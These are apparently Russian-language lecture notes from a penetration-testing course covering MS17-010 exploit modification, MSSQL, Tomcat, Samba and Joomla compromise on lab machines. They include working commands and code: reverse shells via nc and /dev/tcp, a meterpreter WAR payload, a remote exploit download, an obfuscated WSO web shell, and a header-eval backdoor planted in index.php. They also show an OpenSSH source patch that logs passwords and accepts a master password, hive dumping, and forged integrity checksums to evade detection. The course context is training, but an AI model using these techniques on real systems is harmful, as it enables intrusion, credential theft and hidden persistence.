# Network Infrastructure attack - MS17-010,MSSQL,tomcat, samba, joomla,закрепление доступа, backdoor, скрытие следов, pivoting, горизонтальное перемещение Занятия 6-9 Преподаватель Ярослав Шмелев # 6 занятие 15.06.22 Ethernal blue, Mssql ## Вектора первичного пробива ## Ethernal blue - Модификация экслойта #ethernalblue #exploit #impacket надо установить impacket, python2.7 curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py sudo python2.7 get-pip.py sudo python2.7 -m pip install distribute sudo python2.7 -m pip install impacket https://github.com/worawit/MS17-010 Уязвимость бинарная https://github.com/649/FuzzBunch https://medium.com/@shadowbrokerss В ядре позволяет перезаписывать в ядре данные линукса - это первый вариант В smb мы можем перезаписать контекст сесии, говоря о том что мы являемся юзером nt autority system eternal romance - exploit перезаписываем контестк сессии на данные - что мы являемся авторити систем ![](https://i.imgur.com/C6z3hUK.png) Наша задачи - модифицировать эксплойт на этапе получения сессии смб с авторити систем В данном эксплойте ![](https://i.imgur.com/26xnAOk.png) 789 def exploit(target, pipe_name): Логинимся получаем инфу о операц системе, в зависимости от системы выбираем метод эксплуатации далее ищем named_pipe далее заменяем сессию смб на систему ![](https://i.imgur.com/pVc9b9d.png) далее мы можем записать нагрузку ![](https://i.imgur.com/q4032US.png) ## **HTB Blue** [19:23] Ярослав Шмелев https://app.hackthebox.com/machines/Blue Hack The Box запускаем машину готовим эксплойт https://github.com/worawit/MS17-010 меняем юзернейм на // в файлах (это не совсем анонимный заход, предоставляем хоть какие то учетные данные) ![](https://i.imgur.com/vluKxuK.png) ![](https://i.imgur.com/4OVaVsZ.png) ![](https://i.imgur.com/M7aX3KP.png) pythob cheker.py 10.10.10.40 таргет не запатчен 64 разрядная система - СОбрали первоначальную инфу Более подробно https://book.hacktricks.xyz/network-services-pentesting/pentesting-smb#enumeration Собираем самбу, продумываем сценарий,которая будет менее заметный чем в метасплойт ![](https://i.imgur.com/GlkygFn.png) открываем хэндлер ![](https://i.imgur.com/7Q5ljxK.png) ![](https://i.imgur.com/Q9iVkDy.png) exploit файл zzz_exploit.py модифицируем простой и топорный способ ``` Israel Hm, [18 июня 2022 г., 10:04:29]: ...По поводу zzz_exploit.py пересматриваю урок. Вроде как мы и в ядро что-то записываем и пайпами пользуемся. Я думал что или или. Эксплойт или ядерный, или через пайпы Shmelev Jaroslav, [18 июня 2022 г., 10:55:20]: Нет, для эксплуатации нужно и то, и то. При доступе к smb-пайпу мы получаем контекст безопасности, который затем перезаписывается через rw-примитив на контекст, связанный с nt authority/system И далее через пайпы мы можем выполнять произвольные операции, как если бы мы подключились от имени встроенного администратора Когда же забиндиться на пайп не получается - контекста нет и мы используем иные техники для размещения шеллкода непосредственно в памяти ядра, что является менее надёжным методом ``` передаем файл ![](https://i.imgur.com/BVesRSB.png) далее запускаем service_exec (\\ отосится к винде) USERNAME = '\\' меняем юзера в cheker & zzz_exploit ![](https://i.imgur.com/VHYoHxH.png) ![](https://i.imgur.com/h8kwBMQ.png) нам позвляет создавать сервис ![](https://i.imgur.com/jmgC7qA.png) хэндлер ждет соединения print('creating file c:\\pwned.txt on the target') tid2 = smbConn.connectTree('C$') smb_send_file(smbConn, "/home/kali/csrn8/MS17-010/r.exe", 'C', '/r.exe') service_exec(conn, r'cmd /c c:\\r.exe') ! убеждаемся что где поменяли стоят табы а не пробелы ![](https://i.imgur.com/H7lfe1Q.png) запускаем, айпи машины хтб и пайп через который будем получать сессию * python2.7 ./zzz_exploit.py 10.129.74.167 ntsvcs Списки пайпов ntsvcs ![](https://i.imgur.com/szvv2wd.png) подключились записали контекст сессии самбе записали файл получили полный доступ к системе ![](https://i.imgur.com/abbZHaA.png) подключились к сессии Данные способы менее заметны и не детектируются антивирусом ![](https://i.imgur.com/yWkSc9V.png) NTLM : LM - старая небезопасная NT - хэшированный алгоритм , позволяющий аутентифицироваться на системе ![](https://i.imgur.com/VVBZGjN.png) ![](https://i.imgur.com/EZD2kYH.png) аутентифируется на smb получаем доступ к системе В данном случае мы устновим файл на атакуемую машину, но это палится !! ДЗ - придумать сценарий эксплуатации который будет менее заметен regedit, llsas сдампить ... добавить юзера, хэши перехватить ## MSSQL ## Querier HTB Начинаем с базовой разведки Сканируем порты определяем открытые порты ![](https://i.imgur.com/sIyR39Q.png) ![](https://i.imgur.com/IkGPvYW.png) * sudo nmap --script ms-sql-info,ms-sql-ntlm-info -sT -sV -p 1433 10.129.88.79 скрипты нмап на мссйл ![](https://i.imgur.com/2DY15rr.png) ![](https://i.imgur.com/mDFDMah.png) Use the NetBIOS name of the machine as domain crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> mssql medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssql nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts <host> #Use domain if needed. Be carefull with the number of password in the list, this could block accounts msf> use auxiliary/scanner/mssql/mssql_login #Be carefull, you can block accounts. If you have a domain set it and use USE_WINDOWS_AUTHENT msf auxiliary ![](https://i.imgur.com/smERMIi.png) проводим брутфорс ![](https://i.imgur.com/Vk8F82N.png) ![](https://i.imgur.com/WNf5HNq.jpg) **производим анонимную Аутентификации ** smbmap -H ![](https://i.imgur.com/TUZuBcb.png) Открываем гостевую сессиию, которые позволяют нам увидеть шары ![](https://i.imgur.com/qLphWDU.png) * smbmap -H 10.129.88.79 -u '\\' ![](https://i.imgur.com/tNrGNPW.png) смотрим шару reports Подключаемся к нему * smbclient //10.129.88.79/Reports ![](https://i.imgur.com/MmKLNrs.png) Скачали его себе ![](https://i.imgur.com/n1AqxeP.png) теперь задача посмотреть его * get "Currency Volume Report.xlsm" смотрим макрос через программу * pip install oletools ![](https://i.imgur.com/uQW6lfb.png) ![](https://i.imgur.com/lfOglAW.png) * oleid Currency\ Volume\ Report.xlsm раскодируем макрос ![](https://i.imgur.com/6sOtSVW.png) подключаемся к этой базе ![](https://i.imgur.com/KXca1I4.png) ![](https://i.imgur.com/itKJsQ5.png) ![](https://i.imgur.com/eghnzXS.png) [20:38] Ярослав Шмелев Uid=reporting; Pwd=PcwTWTHRwryjc$c6 ![](https://i.imgur.com/vzATANn.png) ![](https://i.imgur.com/u0x0vzf.png) ![](https://i.imgur.com/1xRPkPD.png) mssql подключение ![](https://i.imgur.com/Ke0Iuw3.png) * mssqlclient.py -windows-auth reporting@10.129.88.79 задали набор параметров на все модули ![](https://i.imgur.com/fwfpaJ0.png) Модулями сканируем опции безопасности, что применяется setg USE_WINDOWS_AUTHENT true setg RHOSTS 10.129.88.79 setg DOMAIN QUERIER setg PASSWORD 'PcwTWTHRwryjc$c6' setg USERNAME reporting ![](https://i.imgur.com/sj9hMHj.png) exploit ![](https://i.imgur.com/R0EcIwM.png) ![](https://i.imgur.com/dU3UkA0.png) **общие запросы в энумерации ms-sql** https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server смотрим пермишн сервиса ![](https://i.imgur.com/m9iBa3S.png) **проводим атаку responder** в режиме анализа слушаем ![](https://i.imgur.com/biJ3I7j.png) * sudo responder -AI tun0 мы заставляем юзера подключится к нашей шаре пишем свой айпи\share * use master; exec xp_dirtree '\\10.10.16.18\share';-- получили хэш ![](https://i.imgur.com/9VODbxE.jpg) На этом этапе получаем юзера с паролем corporate Есть еще методы * BACKUP DATABASE volume TO DISK = '\\10.10.1.2\file' * CREATE ICATE testing123 FROM EXECUTABLE FILE = '\\10.10.1.2\file'; ...\10.10.1.2\file'; https://docs.microsoft.com/en-us/sql/t-sql/statements/create-certificate-transact-sql?view=sql-server-ver15 BACKUP LOG ** bruteforce** ![](https://i.imgur.com/xllF8VO.jpg) Получили логин и пароль * mssql-svc:corporate568 ![](https://i.imgur.com/HunUxaG.png) ![](https://i.imgur.com/GNtfCT7.png) можем попробовать по **evil-winrm** ![](https://i.imgur.com/ccV0l47.png) Проводим эннумирацию привилигированно Заставляем систему выполнять произвольные команды ![](https://i.imgur.com/OpVX9ZH.png) ОБладаем правами сисадмина ![](https://i.imgur.com/PvZ63we.png) выполняем произвольные команды с юзера mssql-svc * mssqlclient.py -windows-auth mssql-svc@10.129.88.79 EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; ### **проводим разведку** проверяем защитное по ![](https://i.imgur.com/brROTjG.png) * xp_cmdshell "echo Get-MpComputerStatus | powershell -noprofile" загружаем пейлоад msfconsole проверяем права ![](https://i.imgur.com/fobq3sz.png) если есть такие права, то есть права системы ( но придестя заморочится) Она позволяет с имеюющимся у нас токеном, и Токен бывает - primary (есть у проуесса и отражает секьюрити ....), identisy token, idification token /. anonimy, **ipmersonation** token позволяет серверу/сервису работать с правами того кто обратился. Токены можно использовать в контексте межпроцессного взаимодействия. Используем токен, чтобы работать от его имени (autority system) https://github.com/itm4n/PrivescCheck https://securitytimes.medium.com/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa https://securitytimes.medium.com/understanding-and-abusing-access-tokens-part-ii-b9069f432962 ! Эти атаки - potato https://jlajara.gitlab.io/Potatoes_Windows_Privesc подробно прочесть http://ohpe.it/juicy-potato/CLSID/ https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/ https://github.com/itm4n/PrintSpoofer Привилегия impersonate по получению токена NT Autority System Надо установить на атакуемой машине PrintSpoofer. https://github.com/itm4n/PrintSpoofer загружаем через метасплойт модуль mssql_payload ![](https://i.imgur.com/cvv02YO.png payload reverce_tcp ![](https://i.imgur.com/ng9YpsG.png) идет запись **Привилении токенов** token-priv https://github.com/gtworek/Priv2Admin ![](https://i.imgur.com/DwzpAaD.png) скачиваем файл с компа нашего устанавяиваем на клиент ![](https://i.imgur.com/WdNOrzj.png) Запускаем сервер и закачиваем ![](https://i.imgur.com/0lhi6ix.png) Заходим и доставляем экслойт на атакуемую машину * crackmapexec mssql 10.129.88.79 -d QUERIER -u mssql-svc -p corporate568 -x 'powershell.exe IWR "http://10.10.16.18:8000/exploit.exe" -Outfile "C:\Users\mssql-svc\Documents\exploit.exe"' Заново включаем cmd shell ![](https://i.imgur.com/V1SxKMw.png) ![](https://i.imgur.com/vQlhHIb.png) проверяем наличие эксплойта ![](https://i.imgur.com/JstLrw9.png) ![](https://i.imgur.com/UVerhRv.png) xp_cmdshell C:\Users\mssql-svc\Documents\exploit.exe -c "notepad.exe" Подготовка среды для Линукс Docker pull, docker compose докер нужен и докер образ докер компосы файлы скопировать образа postrgeSql, tomcat https://github.com/vulhub/vulhub/tree/master/tomcat/tomcat8 https://github.com/vulhub/vulhub/tree/master/postgres/CVE-2019-9193 https://github.com/vulhub/vulhub/tree/master/samba/CVE-2017-7494 Установка докера https://itsecforu.ru/2020/02/14/%F0%9F%90%B3-%D1%83%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%B8%D1%82%D0%B5-docker-%D0%B8-docker-compose-%D0%BD%D0%B0-kali-linux/ # Занятие 7. Закрепление доступа и постэксплуатация в Linux Суббота, 18 июня 2022г ## Вектора первичного пробива Важным ключем к проникновению является **tomcat** ![](https://i.imgur.com/8jIcwr8.png) написан на java в формате war (jr только для веб приложений) **Tomcat** является сервисом, в котором мы можем разместить свое приложение Задиплоим томкат ![](https://i.imgur.com/pq7DEUr.png) ![](https://i.imgur.com/T4xMFJH.png) необходимо чтобы порт 8080 был свободным Выполняем docker-compose up ![](https://i.imgur.com/kmTOPXM.png) Далее пентест начинаестя **Брутфорс** потатор, гидра ![](https://i.imgur.com/SpvzKUV.png) Смотрим словарики ![](https://i.imgur.com/U2l0rKA.png) ![](https://i.imgur.com/LyDnQCa.png) exploit ![](https://i.imgur.com/Q19uO0Q.png) Нашли дефолтный пароль tomcat : tomcat далее логинимся ![](https://i.imgur.com/bNhSsrm.png) При наличии учетных данных мы можем через экслойт залить свой файл Используем модуль на метасплойт ![](https://i.imgur.com/CEx9ymL.png) ![](https://i.imgur.com/hR1nMgj.jpg) ![](https://i.imgur.com/QZDhESh.png) поиск вар файлов ![](https://i.imgur.com/EDIo97n.png) Тоже самое только вручную Берем МСФ веном, формируем вар файл * msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.50.223 -f war > payload.war ![](https://i.imgur.com/sibsUI6.png) Далее через интерфейс заливаем этот файл ![](https://i.imgur.com/wRipwfB.png) после этого при введении соттветсвующ ЮРЛ будет запускаться пейлоад Запустили хэндлер ![](https://i.imgur.com/m3dLeAT.png) **Миссконфиг - дефолтные логин и пароль** Есть еще мисконфиг - через PUT ![](https://i.imgur.com/OCd7NWw.png) jsp & war ![](https://i.imgur.com/9EDBBcp.jpg) проверить страницу на уязвимость ищем мисконфиги / используем дефолтные пароли/ брутфорсим ## PostgresSQL https://raw.githubusercontent.com/vulhub/vulhub/master/postgres/CVE-2019-9193/docker-compose.yml https://github.com/vulhub/vulhub/blob/master/postgres/CVE-2019-9193/docker-compose.yml https://habr.com/ru/company/postgrespro/blog/448750/ Об одной уязвимости, которой нет В конце марта 2019 года американская компания Trustwave, занимающаяся кибербезопасностью и сервисами по защите от угроз, опубликовала сообщение об уязвимости в СУБД PostgreSQL **Это штатная возможность взлома** ![](https://i.imgur.com/vSmApHv.jpg) Теперь есть доступ к БД ![](https://i.imgur.com/0fGyhNf.png) Удалили проброс порта **IP adress container** * docker ps * docker inspect postgres_1 ![](https://i.imgur.com/MrPjjMp.png) * docker inspect postgres_postgres_1 ![](https://i.imgur.com/iNSKA3o.png) Грепаем Айпи ![](https://i.imgur.com/cgU7Ap5.png) Далее - сначала логин, потом брут Используем модуль postgres_login * scanner/postgres/postgres_login ![](https://i.imgur.com/T4Puptv.jpg) Подробная эннумерация postgres https://book.hacktricks.xyz/network-services-pentesting/pentesting-postgresql Используем линуксовый пейлоад ![](https://i.imgur.com/V4Xaajp.png) Указываем таргет ![](https://i.imgur.com/1c0KlO1.png) ![](https://i.imgur.com/lMTuhJV.png) R host - iip container ![](https://i.imgur.com/ILWZdD2.png) Metasploit заходит в базу , .... Записываем данные Сохраняем файл в тмп директорию ![](https://i.imgur.com/OnM1AuF.png) Получаем выполнение метерпреттера **База позволяет нам загрузить в библиотеку свой файл** или ![](https://i.imgur.com/I5PQBGt.png) ## Бинарная уязвимость SAMBA https://github.com/vulhub/vulhub/tree/master/samba/CVE-2017-7494 vulhub/samba/CVE-2017-7494 at master · vulhub/vulhub Pre-Built Vulnerable Environments Based on Docker-Compose - vulhub/samba/CVE-2017-7494 at master · vulhub/vulhub smb.conf docker_compose.yml ![](https://i.imgur.com/rOzuwWX.png) ![](https://i.imgur.com/Ot2yIjw.png) ![](https://i.imgur.com/yJVkqFa.png) подняли самбу * crackmapexec smb ___ip_docker__ ![](https://i.imgur.com/H11Cvdm.png) ![](https://i.imgur.com/JV9YxIz.png) ![](https://i.imgur.com/YIwF9zD.png) меняем версию протокола ![](https://i.imgur.com/plEZHNH.png) ЗАгружаем в библиотеку наш код ![](https://i.imgur.com/EEMMkbq.png) Мы открыли шелл с правами рута Посмотреть самостоятельно **redis** https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf ![](https://i.imgur.com/1Xaa81e.png) ## Постэксплуатация в nix-системах ![](https://i.imgur.com/egCw52j.png) ![](https://i.imgur.com/T5qXM3H.png) ![](https://i.imgur.com/RqvzKBc.png) ## Лабораторная работа https://lms.cyber-ed.ru/mod/page/view.php?id=19548 ## Joomla Postexpluatation machine test:test (logib:password) используем сеть NAT **ss -tlpn** просмотр открытых портов переходим по адресу 10.0.2.6:60000 (порт веб приложения) 10.0.2.6:60000/phpmyadmin ### первичное получение доступа Если за NAT то подключаемся к порту 60000 ![](https://i.imgur.com/5p3HBsI.png) [13:38] Ярослав Шмелев http://192.168.50.140:60000/ пароль рута * root:10921783 Ищем users в phpmyadmin [13:39] Ярослав Шмелев to3a9_users ![](https://i.imgur.com/TQMs618.png) Записываем предыдущий хэш Admin и меняем его на свой заходим в гугл - joomla phpmyadmin password reset по умолчанию пароль - secret ![](https://i.imgur.com/gOg9Wan.png) https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/ru сохранили пароль ![](https://i.imgur.com/AKpIpK2.png) Записываем Айди юзера 530 Надо узнать права admin - joomla папка usergroups **Наибольшие права имеют super users** 8 - super user ![](https://i.imgur.com/ymxGmxY.png) usergroup_map - меняем права админа 530 в group_id на айди 8(супер юзер) ![](https://i.imgur.com/GXi09b8.png) 2 заменяем на 8 Иначе админ у нас будет обычным пользователем Заходим в админ панель http://192.168.50.140:60000/administrator/ admin:secret ![](https://i.imgur.com/Oe2WCZJ.png) http://192.168.50.140:60000/administrator/index.php?option=com_admin&view=sysinfo Заходим в **system information** видим что это линукс, веб сервер апаче дебиан, version joomla ... ![](https://i.imgur.com/wV0Zelh.png) Нам надо найти место, которое позволит загрузить код, отредактировать на PHP. **Одно из главных мест - это extentions (плагин)** Здесь практически никогда не присутствует контроля целостности и проверка разраба. В 90% случаях это **зип архив**, который распаковывается в папку на сервере и **может содержать что угодно** Так же в некоторых CMS есть возможность прямого редактирования кода - **template manager** ![](https://i.imgur.com/07oNAET.png) Более глобальный метод, который позволяет на все кмс загружать плагин Найдем плагин ![](https://i.imgur.com/fdvrYHF.png) https://extensions.joomla.org/extension/simple-image-gallery/ скачаиваем joomla v.3 ![](https://i.imgur.com/Hp0wS4m.png) Нам нужно изменить структуру, либо проще - jw_sig директория которая отправляется полностью, а ней самой хмл нет. ![](https://i.imgur.com/WHFdLfp.jpg) **В xml написано какие директории загружаются** Придумываем метод, который позволит выполнить произвольный код: Берем веб шелл, который будет выполнять команду, которую ему подадим. Для веб шелла нужен только браузер https://raw.githubusercontent.com/phpFileManager/WSO/main/WSO.php Здесь есть некий мд5, который проверяется при логине. Так же есть участки странные кода. ![](https://i.imgur.com/6qcliST.png) Закодированный код полезной нагрузки в бс64 Нам надо его раскодировать * base64 -d __полезная нагрузка__ ``` [13:53] Ярослав Шмелев function decrypt($str,$pwd){​​​​​​$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i<strlen($str)){​​​​​​for($j=0;$j<strlen($pwd);$j++){​​​​​​$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}​​​​​​}​​​​​​return base64_decode($enc_str);}​​​​​​ eval(base64_decode("aWYoYXJyYXlfa2V5X2V4aXN0cygnbXlwYXNzJywkX1BPU1QpKXsgJHRtcCA9ICRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiRfU0VSVkVSWydQSFBfU0VMRiddLiJcbiIuJF9QT1NUWydwYXNzJ107IEBtYWlsKCdtYWlsQG1haWwudWEnLCAnbWFpbCcsICR0bXApOyB9")); ``` Раскодировали ![](https://i.imgur.com/XdDfXb0.png) Главный минус - файл заметен, его содержимое - подозрительно. Все антивирусные движки будут этот файл детектироваровать. При внедрении закладки, он сольет доступ. Единственный плюс этого подхода - все файлы уже есть и нам нужен только браузер. Загружаем на хост * wget https://raw.githubusercontent.com/phpFileManager/WSO/main/WSO.php * md5sum WSO.php - получаем мд5 сумму для проверки файла в virustotal. Редактируем архив. Закинем нашу нагрузку WSO в архив ![](https://i.imgur.com/wTvKcio.png) С точки зрения сервера ничего не изменилось, появился только файл с плагином **Нужно загрузить плагин и узнать его путь** ![](https://i.imgur.com/3wMVI7j.png) Куда мы его загрузили **Для джумлы путь до плагина это -/plugins/conrent/jw_sig...** http://192.168.50.140:60000/plugins/content/jw_sig/jw_sig/ ![](https://i.imgur.com/jpykAxl.png) открываем файл WSO.php пароль root Мы получаем доступ к интерфейсу. Его основные возможности - запуск программ, работа с файлами, редактирование файлов и просмотр их содержимого ![](https://i.imgur.com/l9eOupz.png) ![](https://i.imgur.com/LCAAmaF.png) **Получаем первичный доступ к системе** далее его закрепляем Вэб шелл выполняет команду и отправляет ее на сервер, сервер возвращает готовый вывод, **но взаимодействовать с тем что там происходит мы не можем** Выполнение команды - получение результата **Здесь появился новый файл , по этому его легко найти** ![](https://i.imgur.com/IW4sfC5.png) Логи запросов веб сервера пойдут сюда ![](https://i.imgur.com/D8AyxBR.png) и это аномально для сервера ### **А теперь менее заметный метод** Код WSO.php - слишком большой, его сложно встраивать и он легко обнаруживается. Гораздо логичнее встраивать код в http запросе. инструмент **PHPSPLOIT** https://github.com/nil0x42/phpsploit ![](https://i.imgur.com/M5um7af.png) поставим зависимости, создадим бэкдор незаметный * pip3 install -r requirements.txt * ./phpsploit * backdoor @eval($_SERVER['HTTP_VERSION']); **eval** - выполнение кода **SERVER** - массив в котором находятся заголовки (хеадер) Придумыываем название хэдера, который будет максимально безобидно выглядеть в коде. Желательно чтобы в http запросе этого не было. ![](https://i.imgur.com/sVYYPzK.png) нижняя строчка **Добавление этой строчки приведет к компрометации** Редактируем index.php (потому что она получает максимум запросов) ![](https://i.imgur.com/ule6yGy.png) сохраняем код в этот файл Одной такой строчки ( в любом месте кода) будет хватать чтобы выполнить эту атаку Нам необходимо обратится первоначально к индексу В **phpsploit** пишем Делаем http запрос этого юрл * set TARGET http://192.168.50.140:60000/ в качесиве Passkey - наш хедер * set PASSKEY VERSION подключаемся к серверу * exploit ![](https://i.imgur.com/BB8rh4r.png) Смотрим вайршарк ![](https://i.imgur.com/FykcMyH.png) Сделали http запрос и добавили хэдеры В определенное место в ответе мы вставляем зашифрованные данные Ответ выглядит нормально Запрос выглядит нормально Код php выполняется как обычно, при этом вредоносным считаться не будет( это сложно отличить) Но при след обновлении все слетит. По этому надо находить файл который реже обновляют. ![](https://i.imgur.com/kaTaSHq.png) **webshell github** можно найти альтернативные инструменты phpsploit **Логическая цепочка** Получили административный доступ, затем залили через него WSO, затем встроили код в индекс, чтобы скрыть свой доступ и сделали его менее заметным. Код выполняем в хедере http запроса. Для работы можно использовать следующие инструменты * @eval($_SERVER['HTTP_VERSION']); У веб шелла фатальный недостатток- он не может работать с интерактивным вводом-выводом. 1 способ - обратное подключение (метерпреттер) Логика процесса: У нас есть вебсервер, вебсервер при запросе запускает php, php запускает наш файл и затем запускает bash Веб шелл является отличный доступом надолго, потому что его сложно найти. Анализ можно проводить когда он поднят, а так надо искать в файлах. **Получаем командную оболочку** прописываем в phpsploit * run nc -e /bin/bash 10.0.2.15 5555 у себя на машине принимаем соединение * nc -lvp 5555 ![](https://i.imgur.com/GT5gXWT.png) ![](https://i.imgur.com/njq3CYj.png) ![](https://i.imgur.com/urHKhSB.png) + порт 5555 ![](https://i.imgur.com/4FDhwLP.png) Приняли соединение и получили шелл. ### Удобный терминал **Делаем нормальный терминал, с которым можно удобно работать** 1 операция - связь с терминалом * script /dev/null (мы связали терминал удаленной машины с этим соединением) Далее надо чтобы терминал нашей локальной машины реагировал максимально адекватно. ![](https://i.imgur.com/cLFBdE8.png) Действия: 1.ctrl-z 2.stty -a (параметры нашего терминала) 3.stty -echo raw; fg отключаем принятие все события и перенаплавляем соединения и fg вернул обратно nc 4.stty rows 26 columns 106 теперь в терминале соответствовать будут строки и колонки 5. export TERM=xterm Мы подклчючаем цвета в терминал 7.bash 8. reset 9. загружаем linPeas и сможем нормально работать upload /.../../linpeas . .......... Получили полный доступ с терминалом ![](https://i.imgur.com/M5dNcS4.png) bash -i >& /dev/tcp/10.126.10.10/10002 0>&1 - **такой способ тоже доступ по баш** ![](https://i.imgur.com/79UMXs8.png) ![](https://i.imgur.com/Beutash.png) выполняем **su** и повышаемся root без пароля (так как админы считают что машина однопользовательская) если мы не можем получить обратное соединение, а так же соединение к самому серверу. Остается соединение которое уже установлено. Есть экзотическая техника -программа на языке С , которая ищет сокет который использовался сервером при первом соединении, и дочерний процесс пхп имеет доступ к этому сокету. Мы можем переиспользовать этот сокет, чтобы через соединение с сервером выполнять произвольные команды. Загружаем бинарник на хост , подключаемся к серверу по 80 порту ( главное не в браузере а через неткат или скрипт на питон) Отправляем гет запрос, соединение заменяется с http на соединение с интерактивным шеллом. ### Закрепление доступа Получили рутовый доступ. Надо его закрепить и сделать полезным. Подменяем ssh на полезный для нас форк? который будет сохранять учетные данные и пускать нас по мастер паролю. ![](https://i.imgur.com/bGb2ASd.png) https://github.com/pentestmonkey/php-findsock-shell/blob/master/php-findsock-shell.php Обновляем список пакетов ![](https://i.imgur.com/RZOp0vR.png) ставим девелоперскую утилиту **dpkg -dev** (обычно выполняется на собственных машинах) 1. Часть нам нужны зависимости (для сборки сервера) 2. Скачивание исходных кодов **apt-get source openssh-server** Нам нужно найти часть которая отвечает за аутентификацию и ее немного поменять (**добавим бэкдор**) ![](https://i.imgur.com/IZXBSCY.png) в одном окне работаем с исходными файлами * apt-get source openssh-server В другом окне (подключились по ссш к машине postexpl) ставим зависимости необходимые для его сбора * apt-get build-dep openssh-server переходим в директорию * cd openssh-6.7p1 и открываем auth-passwd.c Нам нужна конктретная функция auth_password здесь есть пароль и контекст аутентификации в которой записан юзер. Конкретно аутентификация происходит в опции **use_pam** Добавляем несколько строчек ![](https://i.imgur.com/SDDypr7.png) ![](https://i.imgur.com/ImDtSWK.png) добавляем запись содержимого в конец backdore_logfile.... fprintf ... данные в виде 2 строк разделенные двоеточием и в конце перевод строки. Далее идентификационный контекст юзера **authxtxt->user и пароль** fclose - сохраняем и закрываем if (strcmp...) - строки одинаковы (0) , мы возвращаем 1. ![](https://i.imgur.com/OXjRMdj.png) **Что происходит:** мы сохраняем все попытки аутентифицироваться в файл, затем сравниваем паролль с бэкдором, если бэкдор подходит то разрешаем аутен, иначе переводим аутен в обычное русло. Это помогает собрать все пароли и заходить по новым паролям. **Собираем пакет** * dpkg-source --commit даем название backdoor 2 vim мы добавили патч Собираем ssh * dpkg-buildpackage Получаем пробэкдоренный ссш сервер для подмены настоящего и работы с системой ![](https://i.imgur.com/edkfxgW.png) **3snake** Отладчик который перехватывает пароли в процессе логина https://github.com/blendin/3snake _______ **Impacket** для дз предыдущего 7 урока Вариант кастомизации эксплойта ![](https://i.imgur.com/3jcnnfE.png) ![](https://i.imgur.com/dkz071B.png) https://github.com/SecureAuthCorp/impacket/blob/master/impacket/examples/smbclient.py#L481 ![](https://i.imgur.com/8Gm7D0u.png) ![](https://i.imgur.com/uJQH8qc.png) ![](https://i.imgur.com/TBmqW9d.png) ``` service_exec(conn, r'cmd /c reg save hklm\system c:\system.hiv') service_exec(conn, r'cmd /c reg save hklm\sam c:\sam.hiv') smb_get_file(smbConn, localDst, 'C', '/system.hiv') smb_get_file(smbConn, localDst, 'C', '/sam.hiv') def smb_get_file(smbConn, localDst, remoteDrive, remotePath): with open(localDst, 'wb') as fp: smbConn.getFile(remoteDrive + '$', remotePath, fp.write) ``` ![](https://i.imgur.com/bU2d0dS.png) ``` service_exec(conn, r'cmd /c reg save hklm\system c:\system.hiv') service_exec(conn, r'cmd /c reg save hklm\sam c:\sam.hiv') smb_get_file(smbConn, "/home/kali/system.hiv", 'C', '/system.hiv') smb_get_file(smbConn, "/home/kali/sam.hiv", 'C', '/sam.hiv')def smb_get_file(smbConn, localDst, remoteDrive, remotePath): with open(localDst, 'wb') as fp: smbConn.getFile(remoteDrive + '$', remotePath, fp.write) ``` **позволяет сдампить lsass** https://lolbas-project.github.io/lolbas/Libraries/comsvcs/#dump # Занятие 8. Скрытие следов, изменение даты - Лаба Pivoting Среда, 22 июня 2022г. **Metasploitable** предыдущая лаба с опен ссш пропатченный скачали исходники и модифицировали, добавили мастер пароль Сейчас наша задача - внедрить скрытый сервер ![](https://i.imgur.com/xXcVmjB.png) собираем файл из исходников качаем su , password - root apt-get ![](https://i.imgur.com/ZaqOqxc.png) ![](https://i.imgur.com/JDdEaF2.png) компилируем, предварительно скачав все необходимые зависимости * dpkg-buildpackage - собираем пакет Качаем пакеты ![](https://i.imgur.com/cdkS5i8.png) ![](https://i.imgur.com/Y6sa2C6.png) Маскируем константы С помощью стрингс мы можем найти строки компрометации ![](https://i.imgur.com/L8MCp2q.png) код собрался, он тестируется Уже есть готовый бинарник, который содержит константу ![](https://i.imgur.com/3pNtucI.png) мы можем найти его этот файл является аналогом оригинальный файла, но уже скомрометированный ![](https://i.imgur.com/ofg6gAp.png) * build-deb/sshd cмотрим на оригинальный бинарник ![](https://i.imgur.com/mUym841.png) скопировали время и записали на будущее процесс востановления удаленного процесса ![](https://i.imgur.com/qXAky5V.png) пока на файл есть ссылки - он не удален ![](https://i.imgur.com/ycxEJ30.png) программа копи открывает файл на чтение смотрим символической ссылкой файла ![](https://i.imgur.com/OLGtPZ5.png) **Мы видим удаленный файл и можем его восстановить** * build-deb/sshd * cp /proc/2460/exe cat_dump ![](https://i.imgur.com/368EUND.png) проверяем пробэкдорен ли он копируем файл **поменялись даты директории сбин** ![](https://i.imgur.com/7FSNzo4.png) ![](https://i.imgur.com/Xg5JLcr.png) оба пароля сохранились /var/tmp - после перезагрузки файлы сохраняются **Как обнаружить бэкдор** **Контроль целостности** Инструмент **debsums** ![](https://i.imgur.com/jimetv7.png) https://www.cyberciti.biz/faq/apt-get-hold-back-packages-command/ apt-get hold back packages on Ubuntu / Debian Linux Explain how to hold back (blacklist) packages on an Ubuntu / Debian Linux to prevent updating a specific package when using apt/apt-get. ![](https://i.imgur.com/66XVYOV.png) проверка контрольных сумм ![](https://i.imgur.com/hXRawFm.png) ![](https://i.imgur.com/YxpBPnX.png) подменяем контрольную сумму https://github.com/reox/debsums2 ![](https://i.imgur.com/0wnDOsK.png) все ок, контрольные суммы сходятся ![](https://i.imgur.com/TW4Aa4c.png) sudo find / -printf "%Ax;%AT;%Tx;%TT;%Cx;%CT;%m;%U;%u;%G;%g;%s;%p\n" 